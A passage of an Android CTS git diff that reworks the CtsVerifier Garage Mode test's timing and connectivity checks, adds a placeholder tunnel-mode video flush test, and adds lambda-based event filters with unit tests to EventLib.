Merge "Fix testPasswordMinimumRestrictions"
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 5f86afb..a8d35b4 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -39,6 +39,7 @@
"CtsCameraUtils",
"androidx.legacy_legacy-support-v4",
"CtsForceStopHelper-constants",
+ "ctsmediautil",
],
libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 5b59bfe..09474a8 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1877,6 +1877,17 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".tunnelmode.MediaCodecFlushActivity"
+ android:label="@string/media_codec_flush"
+ android:exported="true"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tunnel" />
+ </activity>
+
<!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
<activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary"
android:exported="true">
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 9ed4ccb..65550d36 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -45,6 +45,7 @@
<string name="test_category_jobscheduler">Job Scheduler</string>
<string name="test_category_telecom">Telecom</string>
<string name="test_category_telephony">Telephony</string>
+ <string name="test_category_tunnel">Tunnel Mode</string>
<string name="test_category_tv">TV</string>
<string name="test_category_instant_apps">Instant Apps</string>
<string name="test_category_display_cutout">DisplayCutout</string>
@@ -1715,6 +1716,9 @@
<string name="sv_failed_title">Test Failed</string>
<string name="sv_failed_message">Unable to play stream. See log for details.</string>
+ <!-- Strings for MediaCodecFlushActivity -->
+ <string name="media_codec_flush">Video codec flushing in Tunnel Mode</string>
+
<!-- Strings for the Camera Bokeh mode test activity -->
<string name="camera_bokeh_test">Camera Bokeh</string>
<string name="camera_bokeh_test_info">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
index c1875cc..a7f742f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -23,6 +23,8 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
import android.os.AsyncTask;
import android.os.Handler;
import android.os.Message;
@@ -41,22 +43,25 @@
static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
static final String PREFS_TERMINATION = "termination-time";
+ static final String PREFS_JOB_UPDATE = "job-update-time";
+ static final String PREFS_HAD_CONNECTIVITY = "had-connectivity";
- private static final int SECONDS_PER_ITERATION = 10;
- private static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+ static final int SECONDS_PER_ITERATION = 10;
+ static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
private static final String JOB_NUMBER = "job_number";
private static final String REMAINING_SECONDS = "remaining_seconds";
- // JobScheduler allows a maximum of 10 minutes for a job
- private static final int MAX_SECONDS_PER_JOB = 9 * 60;
+ // JobScheduler allows a maximum of 10 minutes for a job, but depending on vendor implementation
+ // Garage Mode may not last that long. So, max job duration is set to 60 seconds.
+ private static final int MAX_SECONDS_PER_JOB = 60;
private static final int MSG_FINISHED = 0;
private static final int MSG_RUN_JOB = 1;
private static final int MSG_CANCEL_JOB = 2;
private Context mIdleJobContext;
-
+
private boolean mReportFirstExecution = true;
public static void scheduleAnIdleJob(Context context, int durationSeconds) {
@@ -90,6 +95,8 @@
private final Handler mHandler = new Handler() {
private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+ private boolean mHaveContinuousConnectivity = true; // Assume true initially
+
@Override
public void handleMessage(Message msg) {
JobParameters job = (JobParameters) msg.obj;
@@ -99,14 +106,15 @@
jobFinished(job, false);
break;
case MSG_RUN_JOB:
+ checkConnectivity(msg.arg1);
GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
task.execute();
mTaskMap.put(job.getJobId(), job);
break;
case MSG_CANCEL_JOB:
- JobParameters job1 = mTaskMap.get(job.getJobId());
- if (job1 != null) {
- removeMessages(MSG_RUN_JOB, job1);
+ JobParameters runningJob = mTaskMap.get(job.getJobId());
+ if (runningJob != null) {
+ removeMessages(MSG_RUN_JOB, runningJob);
mTaskMap.remove(job.getJobId());
}
SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
@@ -118,6 +126,25 @@
break;
}
}
+
+ private void checkConnectivity(int iteration) {
+ if (mHaveContinuousConnectivity) {
+ // Check if we still have internet connectivity
+ NetworkInfo networkInfo = getApplicationContext()
+ .getSystemService(ConnectivityManager.class).getActiveNetworkInfo();
+ mHaveContinuousConnectivity = networkInfo != null
+ && networkInfo.isAvailable() && networkInfo.isConnected();
+ if (iteration == 0 || !mHaveContinuousConnectivity) {
+ // Save the connectivity state on the first pass and
+ // the first time we lose connectivity
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putBoolean(PREFS_HAD_CONNECTIVITY, mHaveContinuousConnectivity);
+ editor.commit();
+ }
+ }
+ }
};
@Override
@@ -161,22 +188,27 @@
int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+ long now = System.currentTimeMillis();
+ SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor editor = null;
- if (elapsedSeconds >= myMaxTime) {
+ if (elapsedSeconds >= myMaxTime + SECONDS_PER_ITERATION) {
// This job is done
if (myMaxTime == remainingSeconds) {
// This is the final job. Note the completion time.
- SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
- Context.MODE_PRIVATE);
- SharedPreferences.Editor editor = prefs.edit();
- editor.putLong(PREFS_GARAGE_MODE_END, System.currentTimeMillis());
+ editor = prefs.edit();
+ editor.putLong(PREFS_GARAGE_MODE_END, now);
editor.commit();
Log.v(TAG, "Idle job is finished");
}
return false;
}
- if (elapsedSeconds >= (myMaxTime - SECONDS_PER_ITERATION)
- && (myMaxTime < remainingSeconds)) {
+
+ editor = prefs.edit();
+ editor.putLong(PREFS_JOB_UPDATE, now);
+ editor.commit();
+ if (elapsedSeconds >= myMaxTime && (myMaxTime < remainingSeconds)) {
// This job is about to finish and there is more time remaining.
// Schedule another job.
scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
index 09f5e17..74bbc08 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -24,7 +24,6 @@
import android.provider.Settings;
import android.util.Log;
import android.view.View;
-import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
@@ -37,22 +36,18 @@
* Tests that Garage Mode runs at the end of a drive
*/
public final class GarageModeTestActivity extends PassFailButtons.Activity {
- // Requirements from Android 10 Compatibility Definition
+ // Requirements from Android 11 Compatibility Definition
// 2.5.4. Performance and Power
// Automotive device implementations:
//
- // [8.3/A-1-3] MUST enter Garage Mode at least once before the car is powered down.
- // [8.3/A-1-4] MUST be in Garage Mode for at least 15 minutes unless:
+ // [8.3/A-1-3] MUST support Garage Mode
+ // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes unless:
// The battery is drained.
// No idle jobs are scheduled.
// The driver exits Garage Mode.
//
- // As updated:
- // [8.3/A-1-3] MUST support Garage Mode functionality
- // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes after every drive unless:
- // The battery is drained
- // No idle jobs are scheduled
- // The driver exits Garage Mode
+ // I understand that Google intends to require that Garage Mode is occasionally
+ // allowed to run at least 30 seconds. This code tests for that minimum time.
private static final String TAG = GarageModeTestActivity.class.getSimpleName();
@@ -60,10 +55,17 @@
// for some variation, run the test for 14 minutes and verify that it
// ran at least 13 minutes.
private static final int NUM_SECONDS_DURATION = 14 * 60;
- private static final long DURATION_MINIMUM_TEST_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+ private static final long RECOMMENDED_DURATION_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+ // The hard requirement is for Garage Mode to run for 30 seconds. Fail if
+ // the test doesn't run at least this long.
+ private static final long REQUIRED_DURATION_MS = 30 * 1000L;
+
+ // Once a test is started, Garage Mode is expected to start within 10 minutes. If it doesn't,
+ // the test is marked as fail.
+ private static final long MAX_WAIT_UNTIL_GARAGE_MODE = 10 * 60 * 1000L;
private TextView mStatusText;
- private boolean mJustLaunchedVerifier;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -76,10 +78,7 @@
getPassButton().setEnabled(false);
mStatusText = findViewById(R.id.car_garage_mode_results);
- Button wifiButton = view.findViewById(R.id.car_wifi_settings);
- wifiButton.setOnClickListener(
- (buttonView) -> startActivity(new Intent(Settings.ACTION_WIFI_SETTINGS)));
-
+ // Garage Mode Monitor
Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
monitorButton.setOnClickListener((buttonView) -> {
Context context = GarageModeTestActivity.this;
@@ -91,10 +90,10 @@
editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+ editor.putBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
editor.commit();
GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
- mJustLaunchedVerifier = true;
verifyStatus();
Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
});
@@ -106,6 +105,14 @@
verifyStatus();
}
+ @Override
+ public void onWindowFocusChanged(boolean hasWindowFocus) {
+ super.onWindowFocusChanged(hasWindowFocus);
+ if (hasWindowFocus) {
+ verifyStatus();
+ }
+ }
+
private void verifyStatus() {
Context context = GarageModeTestActivity.this;
SharedPreferences prefs = context.getSharedPreferences(
@@ -113,46 +120,72 @@
String resultsString;
DateFormat dateTime = DateFormat.getDateTimeInstance();
+ long now = System.currentTimeMillis();
long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+ long jobUpdate = prefs.getLong(GarageModeChecker.PREFS_JOB_UPDATE, 0);
+ boolean hadConnectivity = prefs.getBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
boolean testPassed = false;
if (initiateTime == 0) {
resultsString = "No results are available.\n\n"
+ "Perform the indicated steps to run the test.";
- } else if (mJustLaunchedVerifier) {
- resultsString = String.format("No results are available.\n\n"
- + "Perform the indicated steps to run the test.\n\n"
- + "%s -- Test was enabled",
- dateTime.format(initiateTime));
- mJustLaunchedVerifier = false;
} else if (garageModeStart == 0) {
- resultsString = String.format("Test failed.\n"
- + "Garage Mode did not run.\n\n"
- + "%s -- Test was enabled",
- dateTime.format(initiateTime));
- } else if (garageModeEnd > (garageModeStart + DURATION_MINIMUM_TEST_MS)) {
- resultsString = String.format("Test Passed.\n"
- + "Garage Mode ran as required and for the recommended time.\n\n"
+ if (now < initiateTime + MAX_WAIT_UNTIL_GARAGE_MODE) {
+ resultsString = String.format("Waitng for Garage Mode to start.\n\n"
+ + "%s -- Test was enabled",
+ dateTime.format(initiateTime));
+ } else {
+ resultsString = String.format("Test failed.\n"
+ + "Garage Mode did not run.\n\n"
+ + "%s -- Test was enabled",
+ dateTime.format(initiateTime));
+ }
+ } else if (garageModeEnd > (garageModeStart + RECOMMENDED_DURATION_MS)) {
+ testPassed = hadConnectivity;
+ resultsString = String.format("Test %s.\n"
+ + "Garage Mode ran as required and for the recommended time.\n"
+ + "Connectivity was %savailable.\n\n"
+ "%s -- Test was enabled\n"
+ "%s -- Garage mode started\n"
+ "%s -- Garage mode completed",
+ (testPassed ? "Passed" : "Failed"),
+ (hadConnectivity ? "" : "not "),
dateTime.format(initiateTime), dateTime.format(garageModeStart),
dateTime.format(garageModeEnd));
- testPassed = true;
- } else if (termination > 0) {
- resultsString = String.format("Test Passed.\n"
+ } else if (termination > (garageModeStart + REQUIRED_DURATION_MS)) {
+ testPassed = hadConnectivity;
+ resultsString = String.format("Test %s.\n"
+ "Garage Mode ran as required, "
+ "but for less time than is recommended.\n"
- + "The CDD recommends that Garage Mode runs for 15 minutes.\n\n"
+ + " The CDD recommends that Garage Mode runs for 15 minutes.\n"
+ + "Connectivity was %savailable.\n\n"
+ "%s -- Test was enabled\n"
+ "%s -- Garage mode started\n"
+ "%s -- Garage mode was terminated",
+ (testPassed ? "Passed" : "Failed"),
+ (hadConnectivity ? "" : "not "),
dateTime.format(initiateTime), dateTime.format(garageModeStart),
dateTime.format(termination));
- testPassed = true;
+ } else if (termination > 0) {
+ resultsString = String.format("Test Failed.\n"
+ + "Garage Mode ran, but for less than the required time.\n"
+ + " The minimum requirement is that Garage Mode runs for 30 seconds.\n"
+ + " The CDD recommends that Garage Mode runs for 15 minutes.\n"
+ + "Connectivity was %savailable.\n\n"
+ + "%s -- Test was enabled\n"
+ + "%s -- Garage mode started\n"
+ + "%s -- Garage mode was terminated",
+ (hadConnectivity ? "" : "not "),
+ dateTime.format(initiateTime), dateTime.format(garageModeStart),
+ dateTime.format(termination));
+ } else if (now < jobUpdate + GarageModeChecker.MS_PER_ITERATION * 2) {
+ resultsString = "Garage Mode started and test is running.\n\n"
+ + dateTime.format(initiateTime) + " -- Test was enabled\n"
+ + dateTime.format(garageModeStart) + " -- Garage mode started\n"
+ + dateTime.format(jobUpdate) + " -- Last job updated";
} else {
resultsString = "Test failed.\n\n"
+ "Garage Mode started, but terminated unexpectedly.\n\n"
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
new file mode 100644
index 0000000..d99672d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.tunnelmode;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+
+/**
+ * Test for verifying tunnel mode implementations properly handle content flushing. Plays a stream
+ * in tunnel mode, pause it, flush it, resume, and user can mark Pass/Fail depending on quality of
+ * the AV Sync. More details in go/atv-tunnel-mode-s.
+ * TODO: Implement the actual test. This is a placeholder implementation until the test design is
+ * stable and approved.
+ */
+public class MediaCodecFlushActivity extends PassFailButtons.Activity {
+ private static final String TAG = MediaCodecFlushActivity.class.getSimpleName();
+
+ private SurfaceHolder mHolder;
+ private int mAudioSessionId = 0;
+ private MediaCodecTunneledPlayer mPlayer;
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.sv_play);
+ setPassFailButtonClickListeners();
+ disablePassButton();
+
+ SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surface);
+ mHolder = surfaceView.getHolder();
+ mHolder.addCallback(new SurfaceHolder.Callback(){
+ public void surfaceCreated(SurfaceHolder holder) {
+ // TODO: Implement a start button, rather than playing the video as soon as the
+ // surface is ready
+ playVideo();
+ }
+
+ public void surfaceChanged(
+ SurfaceHolder holder, int format, int width, int height) {}
+ public void surfaceDestroyed(SurfaceHolder holder) {}
+ });
+
+ mHandler = new Handler(Looper.getMainLooper());
+
+ AudioManager am = (AudioManager) getApplicationContext().getSystemService(AUDIO_SERVICE);
+ mAudioSessionId = am.generateAudioSessionId();
+
+ mPlayer = new MediaCodecTunneledPlayer(mHolder, true, mAudioSessionId);
+
+ // TODO: Do not rely on the video being pre-loaded on the device
+ Uri mediaUri = Uri.fromFile(new File("/data/local/tmp/video.webm"));
+ mPlayer.setVideoDataSource(mediaUri, null);
+ mPlayer.setAudioDataSource(mediaUri, null);
+ }
+
+ private void playVideo() {
+ try {
+ mPlayer.start();
+ mPlayer.prepare();
+ mPlayer.startThread();
+ mHandler.postDelayed(this::pauseStep, 5000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not play video", e);
+ }
+ }
+
+ private void pauseStep() {
+ try {
+ mPlayer.pause();
+ mHandler.postDelayed(this::flushStep, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not pause video", e);
+ }
+ }
+
+ private void flushStep() {
+ try {
+ mPlayer.flush();
+ mHandler.postDelayed(this::resumeStep, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not flush video", e);
+ }
+ }
+
+ private void resumeStep() {
+ try {
+ mPlayer.start();
+ mHandler.postDelayed(this::enablePassButton, 3000);
+ } catch(Exception e) {
+ Log.d(TAG, "Could not resume video", e);
+ }
+ }
+
+ private void enablePassButton() {
+ getPassButton().setEnabled(true);
+ }
+
+ private void disablePassButton() {
+ getPassButton().setEnabled(false);
+ }
+
+ @Override
+ public void onPause() {
+ super.onPause();
+ if (mPlayer != null) {
+ mPlayer.pause();
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ if (mPlayer != null) {
+ mPlayer.reset();
+ mPlayer = null;
+ }
+ }
+}
diff --git a/common/device-side/eventlib/Android.bp b/common/device-side/eventlib/Android.bp
index a98bdaa..21f412c 100644
--- a/common/device-side/eventlib/Android.bp
+++ b/common/device-side/eventlib/Android.bp
@@ -14,6 +14,15 @@
srcs: [
"src/test/java/**/*.java"
],
- static_libs: ["EventLib", "androidx.test.ext.junit", "ctstestrunner-axt", "truth-prebuilt"],
+ test_suites: [
+ "general-tests",
+ ],
+ static_libs: [
+ "EventLib",
+ "androidx.test.ext.junit",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ "testng" // for assertThrows
+ ],
manifest: "src/test/AndroidManifest.xml",
}
\ No newline at end of file
diff --git a/common/device-side/eventlib/TEST_MAPPING b/common/device-side/eventlib/TEST_MAPPING
new file mode 100644
index 0000000..c19ccac
--- /dev/null
+++ b/common/device-side/eventlib/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "EventLibTest"
+ }
+ ]
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 29cfd5b..17dfd3e 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -27,12 +27,6 @@
private static Instant sEarliestLogTime = null;
- /** Returns the specific implementation of {@link Event} being queried for. */
- protected abstract Class<E> eventClass();
-
- /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
- protected abstract boolean filter(E event);
-
/**
* Returns the {@link EventQuerier} to be used to interact with the
* appropriate {@link Event} store.
@@ -100,4 +94,29 @@
return poll(DEFAULT_POLL_TIMEOUT);
}
+ /**
+ * Gets the earliest logged event matching the query which has not be returned by a previous
+ * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+ *
+ * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
+ * matching event is logged.
+ */
+ public E pollOrFail(Duration timeout) {
+ E event = poll(timeout);
+ if (event == null) {
+ throw new AssertionError("No event was found before timeout");
+ }
+ return event;
+ }
+
+ /**
+ * Gets the earliest logged event matching the query which has not be returned by a previous
+ * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+ *
+ * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
+ * if no matching event is logged.
+ */
+ public E pollOrFail() {
+ return pollOrFail(DEFAULT_POLL_TIMEOUT);
+ }
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index fc16085..dad7a6e 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -20,6 +20,10 @@
import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.function.Function;
+
/**
* Interface to provide additional restrictions on an {@link Event} query.
*/
@@ -47,6 +51,7 @@
private final Class<E> mEventClass;
private final String mPackageName;
+ private final Set<Function<E, Boolean>> filters = new HashSet<>();
protected EventLogsQuery(Class<E> eventClass, String packageName) {
if (eventClass == null || packageName == null) {
@@ -64,7 +69,6 @@
return mPackageName;
}
- @Override
protected Class<E> eventClass() {
return mEventClass;
}
@@ -76,4 +80,24 @@
protected EventQuerier<E> getQuerier() {
return mQuerier;
}
+
+ public F filter(Function<E, Boolean> filter) {
+ filters.add(filter);
+ return (F) this;
+ }
+
+ /**
+ * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
+ */
+ protected final boolean filterAll(E event) {
+ for (Function<E, Boolean> filter : filters) {
+ if (!filter.apply(event)) {
+ return false;
+ }
+ }
+ return filter(event);
+ }
+
+ /** Returns true if {@code E} matches the custom filters for this {@link Event} subclass. */
+ protected abstract boolean filter(E event);
}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index 8780563..b98d250 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -28,12 +28,12 @@
/**
* Implementation of {@link EventQuerier} which queries data about the current package.
*/
-public class LocalEventQuerier<E extends Event> implements EventQuerier<E>, Events.EventListener {
- private final EventLogs<E> mEventLogs;
+public class LocalEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E>, Events.EventListener {
+ private final EventLogsQuery<E, F> mEventLogsQuery;
private final BlockingDeque<Event> mEvents;
- LocalEventQuerier(EventLogs<E> eventLogs) {
- mEventLogs = eventLogs;
+ LocalEventQuerier(EventLogsQuery<E, F> eventLogsQuery) {
+ mEventLogsQuery = eventLogsQuery;
mEvents = new LinkedBlockingDeque<>(Events.EVENTS.getEvents());
Events.EVENTS.registerEventListener(this);
}
@@ -41,13 +41,13 @@
@Override
public E get(Instant earliestLogTime) {
for (Event event : Events.EVENTS.getEvents()) {
- if (mEventLogs.eventClass().isInstance(event)) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
@@ -60,13 +60,13 @@
while (!mEvents.isEmpty()) {
Event event = mEvents.removeFirst();
- if (mEventLogs.eventClass().isInstance(event)) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
@@ -92,13 +92,13 @@
return null;
}
- if (mEventLogs.eventClass().isInstance(event)) {
+ if (mEventLogsQuery.eventClass().isInstance(event)) {
if (event.mTimestamp.isBefore(earliestLogTime)) {
continue;
}
E typedEvent = (E) event;
- if (mEventLogs.filter(typedEvent)) {
+ if (mEventLogsQuery.filterAll(typedEvent)) {
return typedEvent;
}
}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index afc9ecd..049caa7 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -18,6 +18,8 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.testng.Assert.assertThrows;
+
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
@@ -417,6 +419,157 @@
assertThat(eventLogs1.poll()).isEqualTo(eventLogs2.poll());
}
+ @Test
+ public void get_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+ }
+
+ @Test
+ public void poll_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void next_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void get_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.get();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ }
+
+ @Test
+ public void poll_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
